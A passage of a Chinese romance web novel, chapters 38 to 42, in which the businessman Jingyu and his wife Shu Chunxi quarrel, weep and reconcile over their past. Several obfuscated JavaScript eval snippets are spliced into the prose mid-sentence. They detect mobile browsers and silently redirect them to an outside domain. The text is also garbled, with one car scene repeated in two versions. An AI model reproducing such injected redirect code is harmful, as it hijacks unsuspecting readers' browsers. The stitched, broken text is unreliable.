而司机丁叔也在此时有些犹疑地回过了头来,看了一眼敬渝,不知道自己是不是该下去。 敬渝在舒纯熙彻底暴怒、然后重复第三遍之前,把话抢了过来,盯着她的脸淡淡地开口,但话是对驾驶座的人说的: “丁叔,你先下车吧。” “诶好的。” 丁叔很快应了一声,忙不迭地就打开车门,立刻下了车,把车厢内的空间留给两人。 男人朝女人身边挪过去,差不多就要挨上她时,舒纯熙吸了一口气,忽然起身,一只膝盖撑着床垫,另一只腿横过去的同时,上半身所有的力气都抵在敬渝的右肩上,把他往靠背上猛地一压。 双脚岔开在他双腿两侧,直着上半身跪在后座上,女人一掌按着他的肩膀,反客为主地将他牢牢地抵在后座椅背上面,居高临下地用双眼睨他。 被包裹在西装裤腿里的双腿不自觉地绷紧,偏偏上半身在她手下好像没有一点力气,软绵绵地可以任她摆布。 呼吸有些无奈地扑在鼻下,半敛的桃花眼向上微微抬起,对上女人明显带怒的脸色。 她在生气,在不高兴。 他不知道舒伯母跟她说了什么,所以她出来的时候是这样一幅模样。 但大概是跟自己有关? 如果真的是,舒纯熙应该不会放过他的,就像前几次那样。 他已经有了心理准备,终于想要支起上半身,伸手去抱身前的女人,声音有点无力, “纯熙,你怎么了?母亲跟你说什么了?” 舒纯熙在他这么自然的一句“母亲”里火气更甚,觉得自己就要被点着了,一时之间既生气又委屈,既难过又烦躁,猛地扑上去拽住敬渝的衣领,恶狠狠地砸了他一拳。 敬渝别开脸来,那声响和随之而来身体的一丝痛楚逐渐泛开。 不用他再去抱,女人已经在自己腿上坐了下来,伸手胡乱地捶打在他的胸膛上。 他短促地呼吸起来,甚至还克制着胸膛起伏的幅度,静静地在那儿被她打。 总算,不知道是出气了还是打累了,她停下手,因为动作太激烈而剧烈喘息着,崩溃的情绪撕裂了语调,低声吼叫着: “你还真有本事,我爸我妈都叫我跟你好好过日子。你也不想想,你配吗,你配我跟你好好过日子么?!” 她说完,止住了声音,依旧低喘着在平复呼吸。 比她高一些的男人垂首,在听见她的话之后,没有什么笑意地扯了扯嘴角,虚虚揽着她的腰身,顺着她的脊骨替她抚着。 “我不配。” 他应了一句,将抿紧唇不再说话的女人拥进怀中,一手揽着她背,另一只手拥过肩膀,轻柔地同自己面对面拥抱着。 低低地又呢喃了一句, “是,我不配。” 39. 第 39 章 第三十九章、 “诶,好的敬总。” 丁叔很快应了一声,忙不迭地就打开车门,立刻下了车,把车厢内的空间留给两人。 关门的轻响落下后,原本坐在右边的敬渝朝左边挪了过去,挨着她腿边。 倾身往下,再侧偏着向上仰面,去看舒纯熙低垂着的脸。 而她已经很快的把脸扭过去,只是传来一丝很轻的吸鼻声。 敬渝屏息,指节分明的大掌渐渐朝她探去,指尖先触上她的下巴,而后再往下,几个手指抬起她的下颌,动作温柔地将那张不给自己看的脸转了过来。 舒纯熙掀起眼帘,用目光幽幽地瞧他一眼。 下巴上抵着的手随之离开,但又覆上她双眼,遮住眼前视线。 有点粗砺质感的手指在右眼眼尾停留了一下,抚着皮肤向边上揩了一下,原本温柔却干涩的指腹染上湿润的触感,反而被豆大的泪珠淹没。 愈发止不住了。 敬渝直起身子,收回手探进西装里,从左边的内袋里拿出一块叠了两道的深蓝色丝绸手帕,左手不动声色地向自己身侧一揽,将女人拉到身前,俯下身就去擦拭她脸上的泪。 手帕顺滑,他于是用食指抵着,在她的脸上轻按,试图将泪水吸走。 动作耐心仔细,就像怀里抱着的是一个需要照顾的新生婴儿,亦或是一个精巧易碎的陶瓷洋娃娃。 近乎被男人无声却又带着不容抗拒的强势动作给抱在怀里,舒纯熙僵着身体动不了了,只是一双乌黑明亮的大眼睛后知后觉地眨巴了两下,不断从眼尾涌出了更多泪珠。 仿佛在同他堵着气,好叫他的动作彻底前功尽弃。 敬渝无奈,只好用帕子先将她双颊上不太清晰的泪痕拭完,转而将手中绸布攥在手里团成一团,再覆在她一边眼下。 “我下午要去琦琦工厂视察,要不要跟我一起去?” 琦琦工厂是暮帆商会底下的一个玩具品牌,从系列动画、电影到具体的形象IP和周边产业应有尽有,已经创立超过二十年,是整个凛洲家喻户晓的传奇品牌,陪伴了好几代人成长。 舒纯熙自然也不例外,敬渝听到郑徽安排这项工作的时候就想到了。 所以他才会让自己的车先回去,留下来等她。 一句话问完,敬渝停顿了一下,等待她回答的同时,在心里评估着是否成功转移了舒纯熙的注意力。 然后得到的就是一句不咸不淡的低低嗤笑,听起来并没有要买他账的意思。 她现在连琦琦工厂也不感兴趣了…… 敬渝抿着唇,说不出是有些失落,亦或是意料之中,总之在心里默默地记下了。 便又只得转回原先的话题上,男人仔仔细细地将她一张脸看清楚,又将帕子移到另一边,捂了捂舒纯熙的眼睛。 女人下意识地闭上了双眼,然后一边的眼皮子上感受到实实在在的触感。 眼前是不再视物的一片空,听力在这种时候只会更加灵敏。 而后,她听见了敬渝轻轻地叹了一声,在她眼上冰敷似得按了按,头大概也低得更甚,说话的声音离自己耳边很近。 起先还是一句追问,然后又止住声音,几秒后嘀咕地自语了一句。 “到底怎么了,真不告诉我?……都哭成这样了。” 话说完,他默默收回了手,身前的女人也就睁开了双眼。 刚刚流完眼泪,眼眶里面还有一种干涩的不适。 男人又在耳边用那种温柔的语调唤了一句“纯熙”,仿佛他们两个其实是什么抵死缠绵的情人一样。 舒纯熙闷闷地吸了一口气,忽然挡开敬渝的手臂起身,一只膝盖撑着座椅,另一只腿横过去的同时,上半身所有的力气都抵在敬渝的右肩上,把他往靠背上猛地一压。 双脚岔开在他双腿两侧,直着上半身跪在后座上,女人一掌按着他的肩膀,反客为主地将他牢牢地抵在后座椅背上面,居高临下地用双眼睨他。 敬渝被包裹在西装裤腿里的双腿不自觉地绷紧,被她突如其来的举动惊讶到,却又还算有眼色地顺从了她。 不仅如此,他甚至很快就意识到,自己僵硬的上半身已经在她手下没有了一点反抗的力气,所有的紧绷和克制都作用在了自己的身上,面对上身前的女人,竟只摆得出软绵绵任她摆布的模样。 呼吸有些无奈地扑在鼻下,逐渐急促起来,不顾胸腔里加速跳动的心脏,男人抿紧的唇瓣后两排牙亦暗自压紧,好维持面上的平静,半敛的桃花眼向上微微抬起,对上了女人面带不满的神色。 她见完岳父的时候,虽然也没给自己什么好脸色,但还没有失控成刚才那样子。 所以,就是去见过岳母,从她那里听到了什么,才会一时情绪失控至此。 但敬渝猜不出来岳母大人到底是跟她说了什么,所以她出来的时候才会是这样的一副模样。 他终于想要支起上半身,但又实在不知道自己可以做点什么举动,是该拥抱还是怎样,才能起到一点安慰的作用,有些踌躇试探地说: “你说话呀,不要不理我。” 舒纯熙在他这么自然的一句话里火气更甚,觉得自己就要被点着了,一时之间既生气又委屈,既难过又烦躁,猛地扑上去拽住敬渝的衣领,恶狠狠地砸了他一拳。 敬渝别开脸来,闷哼一声,身体的一丝痛楚随之而来逐渐泛开。 他垂下眼眸,不知所措,但也终于看清楚了形势,明白她生气的原因大概跟自己脱不了干系。 不过思绪流转的瞬间,腿上传来受重的感觉,压得他不得动弹,一具身体到了他身前紧挨着,中间几乎没有更多的缝隙。 敬渝还没有从女人这个近乎“拥抱”的动作里反应过来,就已经被一只手臂猛地圈住了脖颈往她自己的颈边带,后背离开椅背,有些踉跄地反拥住她,皮鞋在地板上摩擦出一点声响后抵住。 双腿随之调整了姿势,贴着舒纯熙骨骼下的皮肤,将她颠簸了一下。 而女人的另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒纯熙鼻子一酸,即使得到他真切的赞同,心情也没有因此而好上一点。 下巴抵在他的肩上,低头的瞬间,一滴泪砸下去,隐入敬渝的黑色西装里。 她止不住放声大哭起来,恶狠狠地又砸了一下那人坚硬得跟竹子一样的后背,声音越来越大,仿佛止不住闸的水,总算在此刻彻底决堤。 “我恨你,我恨你!你根本什么都不知道,我恨死你了!” 其实舒纯熙究竟伸不伸手打他,敬渝都已经无所谓了,他只觉得自己的心碎得彻底。 她越哭他就越痛。 无数种痛糅杂在一起,分不清楚来路也找不出归途。 但最要紧的那种痛,绝不是在为这份被恨而难过,而是心疼这个在自己面前嚎啕大哭的女人。 他也恨自己,恨自己为什么什么都不知道,他也恨死自己了。 手臂已拥得不能更紧,双臂上暴起的青筋却还在用力,敬渝淹没在舒纯熙的泪水里,甚至生出了一种朦胧的疑心,察觉出一种可能性来。 或许在那些他不知道的地方,是不是真的曾发生过什么他不知道的事情。 男人紧闭着双眼,偏过头胡乱吻在女人的发丝上,虔诚得如同赎罪,声音晦暗不明,灰败得如同一只斗败的动物。 “对不起纯熙,都是我的错,是我对不起你……” 40. 第 40 章 第四十章、 “当然都是你的错,都怪你……都怪你!……” 女人“唔”地哽咽一声,拳头又猛地在他肩上砸了一下,发泄着不满,越说越气,语调里又含满了委屈。 竟有那么一瞬间,敬渝误以为自己回到了从前,而舒纯熙其实是在对着自己撒娇而已。 那恍惚从脑中一闪而过后,敬渝缓缓松开了拥着舒纯熙的手臂,向后仰去抵在椅背上,同她拉开了点距离,以便看见她的脸庞。 如他所料,舒纯熙现在的脸又是一片汪洋。 眼前这张白里透红的粉面上,水迹流淌,长长的睫尾上还挂着一颗豆大的泪珠。 敬渝吸了一口气,伸手用拇指将那颗泪珠染开。 “我知道错了,你罚我好不好,怎么罚都行,我绝对认罚,好不好?” 女人一下子扭过头,嗡嗡的鼻音低声反驳道: “我讨厌你。” 敬渝干巴巴地开合了一下双唇,才轻轻地问: “那要怎样才能不讨厌我,怎样才会再喜欢我?” 女人颤动了一下身子,好像被他给气笑了,大幅度地摇了摇头,看上去像一只人形拨浪鼓,高声大叫道: “讨厌你,怎么样都讨厌!不喜欢,不喜欢,一点都不喜欢你,讨厌死你了!” 男人的眉头拧起来,又一把拥住了舒纯熙,低下头跟她额头相触,认真地说: “可是我喜欢纯熙你,怎么样都喜欢。喜欢,喜欢,非常的喜欢纯熙,一点都不讨厌纯熙。现在怎么办呢?” 说完这句话,敬渝有些紧张地去瞥舒纯熙的神情,心里忐忑不安。 他敢发誓,这句话是他的人生进行到现在为止,说得最为露骨的、表明心意的话。 然后,在他惴惴的呼吸之中,舒纯熙竟然直接被他给弄哭了,也不知道是被他气哭的,还是怎样。 只是这一回,她不是号啕着大哭起来,而是望着他的眼睛安静地流淌着眼泪,又很快转过脸去,自己用手背把泪水抹去,整个人透着一种难以看穿的意味。 敬渝暗骂自己果真是又说错话了,手忙脚乱地又拥上去,把人抱在怀里,又是抚背又是帮忙擦眼泪,就差像哄小孩那样用双臂规律地颠着她来哄了。 不知又过去了多久,怀里的女人哭完这一场,有些疲惫地闭上了双眼,终于依靠在他胸膛上。 桃花面上泪痕犹在,男人用手抚了抚,却好像始终擦不净那痕迹,如同已经印在自己的眼底那般。 敬渝不动声色地低下头,唇瓣悄然在她眼下印了一下。 幸好她睡着了。 怀里沉甸甸的触感无比真实,男人勾起唇,静静地搂着她。 下午敬渝推迟了去琦琦工厂视察的工作,先送舒纯熙回了家。 那一场哭闹耗费了她太多力气,到了家门口,怀里的女人也没有要苏醒的迹象,敬渝便把她抱下了车,一路抱回了卧室里。 房间里的摆设依旧是熟悉的,唯有他那一边的床头柜上撤掉了台灯,摆上了一个暗绿色的玻璃花瓶,里面放着一高一矮两支芍药的花苞。 大概是他不回房间住,自己那边的床头柜都已经被征用改造了。 花是很好看的,还没有开,两个小团子,底下的根茎朝着不同的方向弯曲着生长出意趣来。 不知道是不是舒纯熙摆弄的,如果是,肯定算好事。 但敬渝在她床边坐了一会儿,又幽幽地盯着那个花瓶想,自己什么时候才能搬回卧室来住? 安顿好舒纯熙,敬渝才出了门去琦琦工厂。 秘书室的人跟工厂的接待人员已经等在了门口,引着敬渝往生产车间去。 带上安全帽的一行人在里面绕了一圈,又到办公楼里参观完展览馆,本次视察至此结束。 然后琦琦工厂现在的负责人示意秘书让人把伴手礼装上后备箱。 回了公司下了车,敬渝刚准备迈开步子,想到了什么,又后退两步绕到车后,跟在郑徽后面,把给自己的那一提伴手礼也拿出来,托在手上看了看。 “敬总,是琦琦工厂最新的限量款IP联名“精灵谷美梦”,给我们带回来的应该是专门做出来的礼品特供装。” 他们的这一提箱子,里面是这个系列所有的毛绒玩偶的汇总,包括挂件和最小号的玩偶摆件。 而进入游乐园商店里具体售卖的时候,这些玩偶都将是以单个形式拆开售卖,有些一个难求,很难集齐全部。 不过工厂自己会自留一小部分做成这种礼品装,用作内部的送礼,比如今天的这种情况。 敬渝“嗯”了一下,隔着包装盒上面的一大块透明塑料看了看里面玩偶的样子,拎在手上,迈开步子率先走了。 郑徽跟唐廪跟在后面交换了一个眼神,竟然觉得刚刚老板的步伐里透着一股子满意来? 有点像是个出差回来、左右手都拎满了娃娃的那种爸爸,有种迫不及待给女儿捎带礼物的既视感。 “……” 唐廪不置可否,但郑徽是知道的。 实话实说,自从老板结了婚,喜气洋洋是一点没见着,反而一段日子有一段日子的失魂落魄,每段日子还都不雷同。 他单身,就也住在敬家。 据他暗中留意,敬渝婚后其实是一直在睡书房的。 书房那张沙发虽然不算小吧,但到底不是沙发床,更何况敬渝身量一米八三,想想也知道睡着是不舒服的。 老板对自己也挺狠的,明明家里面还有那么多间客房,但不知道是不是就为了不承认自己跟老婆是在“分房睡”,所以才会那么执着地睡书房。 想着,郑徽耸了耸肩,替老板叹了一口气。 上了楼后,又很快被敬渝叫到办公室里。 男人已经从先前的那点喜悦情绪里脱身,出神地在想另一桩事,见郑徽进来,指尖拿着一支钢笔在面前的桌子上抵着没动,静静地交代道: “你找个私家侦探去帮我查点事情。” 郑徽应下,又具体问了句: “具体查什么,我们这边要提供什么资料吗?” 敬渝“啧”了一声,有点无奈地揉了揉眉心,一时之间也不知道该怎么说,为难了好一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505125|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把笔一放,沉声说: “纯熙说有些事情我不知道,我想了一会儿,没有头绪,总之,你找人去查吧。” “那就是,找人查下太太?” 郑徽犹疑地确认了一遍。 坐在办公桌后的人有点赧然,神色颇为不自然地“嗯”了一声。 他实在是不常做这种事,自己想不明白还要找人去查,总有些窥探他人隐私的感觉,是以多少还是会心虚。 这种感觉,对上舒纯熙的事尤甚。 不过,便是再不该做,自从她回来后,他做的出格的事也不少了。 心里面的疑团日益加重,就像游泳的人总是摸不到对岸一样。他总得想办法弄清楚。 站在一旁,看敬渝拧着眉面色不是很好的样子,郑徽眼观鼻鼻观心,默默地等待了一会儿,认真思索了一下,问: “敬总,太太还跟你说什么了吗?” 敬渝轻叹出一口气,摇摇头,只是说: “没什么要紧的,她什么都不肯跟我说。” 而她最常说的那些话,他也实在说不出口复述给别人听。 “要不咱们晚上聚聚,我们给您出出主意?” 他指的是秘书室的那几个人,全部都是单身,听上去也真是死马当活马医了。 而敬渝眨了眨眼,竟然也点了头。 郑徽默默地在心里捧起蜡烛。 晚上,郑徽还真的把秘书室的几个人都给约到一起,大家去一家私厨吃了晚饭,然后又跑到露台上喝鸡尾酒。 这家的鸡尾酒上桌后,服务生会点燃上面的一层火焰,火焰燃烧在酒液上面,舔着青紫色的火舌,看上去很有节目效果。 每一次点火,一整个露台的人都会高声欢呼。 他们这一桌的酒上来之前,敬渝这一桌人就都会抬起头去看别人的酒,然后非常给面子地高声喝彩。 待到他们的酒也上来时,周遭惯例似的又响起起哄的欢呼声。 敬渝一晚上就在这种喧闹的氛围里,安静地坐在角落,偶尔用一种幽暗的目光扫一眼找地方的游之翎。 游之翎不敢跟敬渝对视超过五秒钟,立刻移开目光,讪讪地笑了一下,说: “老板,既来之则安之,吵吵闹闹地才好玩嘛,出来放松一下。” 而角落里的人扶额,痛苦地闭上了双眼。 四周终于安静了一段时间,郑徽用手肘戳戳游之翎,然后示意他说点有用的。 在此之前,郑徽已经悄悄地委婉转述了敬渝现在的情况,让几个人帮他想想办法。 游之翎想起来这茬,将功补过似的把话头抢过来,对着敬渝信誓旦旦地说: “敬总,我跟你说,男女关系呢,就讲究欲情故纵、有来有回,你要是太哄着太太了,太太她说不定反而有恃无恐了,所以呢,我给你想了个主意。” 敬渝没好气地瞥了他一眼,“哦?” 面前的人咧嘴一笑,伸出食指扬在身前,说: “你得适当地也让女生吃吃醋,让她有危机感,让她觉得你也是很抢手的,需要被好好珍惜的。” 41. 第 41 章 第四十一章、 敬渝面露疑惑,古怪地打量了一下游之翎,只听见他继续说: “就比如呢,你想办法制造一些机会,让太太看见你跟其他女生走得很近,觉得自己有了情敌。她要是生气呢,那就证明她心里面还是有你的,极有可能再逼她一把,她就会愿意敞开心扉,正视自己内心的情感了。” 郑徽听着听着,竟然觉得这法子不地道的同时但还是有点道理的,连忙又问: “那太太要是不生气,也没什么反应呢?” 游之翎“啊”了一声,悻悻地回道: “她要是不生气的话,那就是心里面已经没有敬总了,所以敬总做什么,她也就都不在意了。” 说完,他想象了一下这种可能性,有点心虚地摸了摸自己的鼻子,试图降低自己的存在感。 而对面的敬渝自然清楚自己这婚是怎么结的,他明白自己根本就没有去试探她心意的底气。 原本还有孩子的事情可以做借口,但现在他也知道了舒纯熙并没有怀孕。 没了当初那个借口,两个人婚是结了,但压根没有正常夫妻该有的样子。 如今之所以还勉强能维持得下去,一切不过是自己的强求,怎么还能蹬鼻子上脸去验证些什么呢? 当然了,弄清楚她的心意,确实是埋在心底里的一件要紧事,但肯定不是用游之翎说的这种方法。 本来她就生自己的气,到现在也没有原谅自己。而因着他的缘故,她都已经受了那么多的委屈。 若只是为了逼她承认心意,自己就要跑去跟别的女人暧昧不清,再转回来欣赏她的伤心和心酸,用这种手段去算计他们之间的感情,那他还算得上是个人吗? 敬渝抿了一口杯子里的酒,淡淡地问游之翎: “你怎么想出来这个办法的,有经验,自己试过?” “呃,” 游之翎陷入了短暂的回忆之中,小声说: “我上大学的时候追我前女友,追了很久她也没松口,后来新学期开始,社团活动里有别的女生总找我说话,被她看见了,她就跟我生气不理我……然后,我弄明白她生气的原因之后,再次跟她表白,我们就顺利在一起了……所以这个方法,也是我自己总结出来的。” 敬渝点点头,“奥”了一声,又喝了一口鸡尾酒,双手往桌子上一横,望着游之翎的脸,又疑惑道: “那你们是怎么分手的?” 话音刚落,游之翎脸上就出现一种犹豫纠结的神情,低下头不给其他人看自己的表情,声音低低地从嘴巴里传出来,说: “她说我是中央空调,一点都不洁身自好,总是跟其他女生走得很近,她实在受不了了……” 说完,男人又忽然抬起头,求助似的说: “可是我真没有别的意思啊,但我怎么解释她都不相信。” 余下的几个人各自端起自己的酒杯,都默然地喝了一口杯中的酒,避免回应游之翎的视线。 最后还是敬渝淡然地说了句: “常在河边走,哪有不湿鞋,看来你这也算是自作自受了。” 说完这句话,敬渝把杯中的最后一点酒一饮而尽,站起身来打算离开,旁边的另外两个人也站起来给他让道。 男人摆了摆手挥别秘书室的几个下属,到前台签了单,然后踏上了回家的路。 后面的游之翎闹了个欲哭无泪的脸,拽着郑徽说: “老板怎么这样啊?我好心好意给他出谋划策,他反而阴阳怪气我!” 郑徽默默地收回了自己的胳膊,把游之翎制住,侧过脑袋来上下打量了一下他,建议道: “你还是把你这些亲身经历的血泪经验留给自己吧。” “喂,你什么意思!” 郑徽抬起双手交握,抵在自己的脖颈后面,悠悠地说: “你个傻子还看不出来么?敬总跟太太是多少年青梅竹马的感情,人家从十几岁开始就是个妥妥的‘未婚妻管严’,这种馊主意压根舞不到太太面前,敬总就给否了……谁叫你说这些乱七八糟的办法的?” 游之翎这才想明白其中的关窍,但也不能怪他,他进秘书室也就是这两三年的事,哪里知道这些。 敢情老板是替太太抱不平呢,护得也太紧了。 游之翎哀嚎一声,对着郑徽高呼“你丫害我”! . 敬渝到家已经是十一点多。 这段时间他回来得都很晚,担心打扰舒纯熙,就不会再回楼上的卧室去洗漱。 久而久之,书房里也备了几套换洗的衣物,他一般就在一楼的一间客房里沐浴洗漱。 换好睡衣从浴室出来,敬渝想了一下,舒纯熙今天晚上大概率还没有睡,毕竟中午睡了一觉,有可能下午才醒,那晚上就容易睡不着。 就这样想着,男人回书房拿了那箱玩偶上了楼,在卧室门口敲了两下门,然后推开走了进去。 房间里亮着灯,床上坐着的女人捧着平板,一只手在屏幕上滑动着,不知道在看什么东西。 听到敬渝进来的声响,舒纯熙抬了下头,轻飘飘地望了他一眼。 而站在门口的男人则低头用指尖摸了下鼻子,故作寻常地解释了一句: “我来找条领带,明天要用。” 回应他的是一声极其低的“哦”,好像并不关心,从嗓子眼里随意滑出来一个音节而已。 然后敬渝就转身进了衣帽间,把那一提娃娃侧着摆在中间的展示柜上面,然后还后退了两三步,远远看着跟正面呈现出一个角度的箱子,颇为挑剔地又走上前去,调整了一下角度。 就像是一位在给产品拍效果图的摄影师。 鉴于今天上午的事情,敬渝拿不准舒纯熙看到这个东西还会不会喜欢,所以他选择比较稳妥地把东西悄悄放在衣帽间里,等她自己发现。 做完这些,男人再打开一层展示柜的抽屉,从自己那一堆领带里随便拿了一条出来,握在手心里,出了衣帽间。 舒纯熙刚刚就看见敬渝手里拿着什么东西了,但他也没提,反而把东西拿走了。 心里不痛不痒地萦绕着一点好奇的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我记得。但我不是也说了吗,我喜欢你,纯熙,我可以等,可以努力,我会让你重新喜欢上我的。” 舒纯熙被握着的那只手一僵,只觉得自己又回到了上午那时候,听到他说那些话的情景里面,就连当时的那种情绪也随之将她再次席卷起来。 一颗如同涩果般的心,被繁复的果皮给包裹了起来。 打不开,看不清,也砸不烂。 “不会,我不会喜欢上你的,你等不到的。” 她摇了摇头,把手从他掌心里抽出来。 “为什么?” 男人嘴角的笑终于还是凝滞住了,他深呼吸了一口气,终究按捺不住心里的话,有点绝望地追问了一句: “我们还有很多年不是么? “而且,敬亭已经走了,他永远都不会再回到你身边了,纯熙……” 42. 第 42 章 第四十二章、 舒纯熙忽然冷笑了一声,面上没有了一丁点的好脸色, “所以呢?就因为敬亭死了,所以你觉得你又有机会了?” 敬渝一时凝噎住,不知道该怎么回答这个问题,双拳不自觉地蜷了起来,有些无力地搭在被子上。 好像不论说“是”,还是“不是”,都不是什么好回答。 或许他就不应该提起敬亭来,他应该避开这个名字的。 “纯熙,其实我,我一直……” 敬渝不想在这种时候保持长久的沉默,仿佛他没有勇气回答这个问题。艰难地在脑中措辞斟酌着,眸中浮着一种很复杂的神色,他望着舒纯熙,终于把一句话的后半部分给说完: “我一直都在等你,回过头来再看看我。” 女人没有回答,他则屏住一口气,下定决心般攥住了手, “我的意思是,我一直都在这里,等着你回头。……就算是敬亭还在的时候,只要你有一丝一毫想要回到我身边的意愿,我都会很高兴。你不需要担心任何外在的麻烦,我都会替你处理好的。” 他无数次天真地在脑子里设想过这件事。 从在意识上放纵自己,到在黑夜里慰藉自己,总之他一直在幻想着会有这么一天。 并且在一成不变、日复一日的等待之中,他终于想明白了: 即使她嫁给了他的堂弟又怎样? 只要她流露出任何一点后悔了的想法,他就愿意帮他们处理离婚的事情,然后去莫瑞恩尔带她回来。 但是没有,她彻底忘了自己,然后去爱另一个男人了。 他们俩的那段感情,被她彻底给割断了,丢在了身后,留在了两年前。 他追去莫瑞恩尔的时候,舒纯熙已经跟敬亭登记结婚了。 这一点,即使是他到了波利,也无法改变的事实了。但这却不是最紧要的,因为她并不愿意跟自己回来。 尽管,这件事超出了他所有的预期乃至于认知,可他终究无法做出来强迫她改变想法的事情,所以也只能失魂落魄地离开了波利。 第一年,他还沉浸在那种终有一天她可能会反悔的幻想里面。 等到第二年,他已经绝望地接受了事实。 那就是她大概真的不会再回头了,她跟敬亭会白头偕老,而自己则会孤独终生。 所有的一切,都源于最初的那件事。蝴蝶轻轻煽动了一下翅膀,直接引发了后面这一系列不可挽回的后果。 坐在床上的女人,双手紧紧地揪在一起,身体一动不动,表情也没有一丝一毫的变化,如同入定老僧,脑子里只是回响了一遍敬渝的话。 他在等她回头看看,等她反悔,等她…… 她不知道该说点什么,本该巧舌如簧的嘴巴此时干巴巴地闭着。 如果生气愤怒的时候她能说出很多刺人的话,那也仅仅是因为还有一份心气催着她。 可现在,她却是真的一个字都不想费心去想,也不想去思考该说些什么了。 恍惚间,她又想起来敬渝说的那条消息来。 那天之后,她在网上随便找了一家店,问他们能不能修复被删除了的聊天记录。 两年前,她不仅仅是拉黑过敬渝,那条信息被删除之后,她还把敬渝的账号也给删除了。 所以要找回那条信息,难如上青天。 于是作罢。 舒纯熙用鼻子泄气般地呼出一口气,忽然抬起头,朝他伸手,道: “把你手机给我。” 敬渝愣了一下,但并没有顿很久,立刻就站起身下楼去拿自己的手机。 他的手机是大约两年半前换的,平时用得不多,到现在内存也没满,所以也就没有换过。 而敬渝从来没有做过任何会导致他们俩聊天记录清空的行为,因此,他给舒纯熙发的那些信息记录也就还在。 舒纯熙拿着他的手机,甚至没有往上翻多久,就滑过了好几个位于中间提示年份日期的灰色矩形,找到了敬渝发给自己的那条信息。 话不算太长,但言简意赅,应该是他提前就编辑好了的。 先是道歉哄人,然后就是问她打算什么时候回来,婚期他擅自定好了最近的吉日,婚礼的布置也都在有条不紊地准备着。最后叫她玩得差不多了就回来,别生他的气了,等她回来,他任凭她出气处置。 诚然,对于当年的那个敬渝来说,这条信息里他摆出的姿态已经够低了,大概他也终于觉察得到,这件事其实并不同他们以往的那些闹别扭。 确实不同,以至于无可挽回。 舒纯熙捧着手机,看屏幕的双眼直直地盯着,一动不动,没有表情的样子看上去有点吓人。 敬渝凑上前,轻柔地朝她搂过去,扫了一眼屏幕上的内容,然后将头放在舒纯熙的肩上。 男人的声音沉闷,紧闭着的双眼似乎在极力阻止着心绪泄露,颤着尾音,瓮声瓮气地说: “纯熙,我常常在想,要是那时候我已经足够强大就好了,那样我就不会犹豫,我会立刻答应你,也就不会失去你了。对不起,其实……到底怪我懦弱。 “而且,我也不应该跟你赌气那么久的,不然我早知道你和敬亭的事,我一定会阻止的。要是我知道,我们赌气的后果会是这样,我这辈子都不会再跟你赌气的。 “纯熙,失去你的后果是我真的无法承受的,这两年里我无时无刻不在后悔,我真的很难过。” 说到最后,男人的声音有些哽咽地说不下去,眼睛也终于睁开来,开了闸的情绪再也止不住,双睫扑朔着掉落了几滴泪。 “我知道你生我的气,但是这场气你已经生了两年了,久到我觉得自己这辈子也就这样了,真的,我们就此和好吧,好不好?” 而听完他这些话之后,身前女人的身体明显更加僵硬了一些,她艰难地转过头来,用一种复杂到极致的目光望着他,从落泪的面上扫过,忽然很静地告诉他: “其实我不怪你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512116|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她其实没有真的怪过他犹豫了,甚至不觉得他是懦弱。 这件事她从来没跟任何人说过,当然也包括他,她想他或许永远都不会明白这一点。 女人移开了目光,望着远方又默默开了口, “那天去探视我妈妈的时候,她劝我说,当年的事情,你一定也很为难,让我体谅你,而且,那时候爸爸让我来找你,要我跟你立刻结婚,其实是在试探你,要你和敬家与我们绑在一起……” 敬渝嚅动了一下双唇,想说点什么,但舒纯熙没有给他机会,自顾自地又说了下去,呢喃得很小声: “可是他们不知道,其实这些事,我都明白。我知道那时候要你答应我,其实就是在用感情绑架你,我也知道你确实会难做。 “这些事,我都明白。所以,嫁给敬亭,不是赌气,是我自己愿意的,也是我的选择。” 时隔两年,要她去回想那个时候发生的事情,她都不能明确地记清楚每一桩每一件了。 只隐约记得各种事情堆叠在了一起,所有的情绪都那么激烈地纠缠在一块儿,一颗心像是被糊在了一块儿。 但在那一团迷雾里面,她的心确实是逐渐往天平的某一端偏移了过去,有了一个明确的答案。 说是跟敬渝赌气之下的任性报复也好,说是惶恐之中抓住救命稻草的选择也好,说是为着一点私心而选择了敬亭也好,太多太多的理由结合在一起,推着她往前走,她绝不会在原地等着他。 后来她想,自己选择答应敬亭的求婚,其实有一种必然性。 舒氏大厦一朝坍塌,她再是天真懵懂,也看得清形势,知道自己该识些时务,因为她已经没有了从前对敬渝“围追截堵”的那种底气。 从前父母荣光尚在,舒敬两家门当户对,自己跟敬渝青梅竹马,她自然可以肆无忌惮地骄纵任性,也可以尽情地跟敬渝赌气,逼他向自己妥协。 但不过是一夜之间而已,那股子从前有恃无恐的能力,冥冥之中已从身体里被抽走。 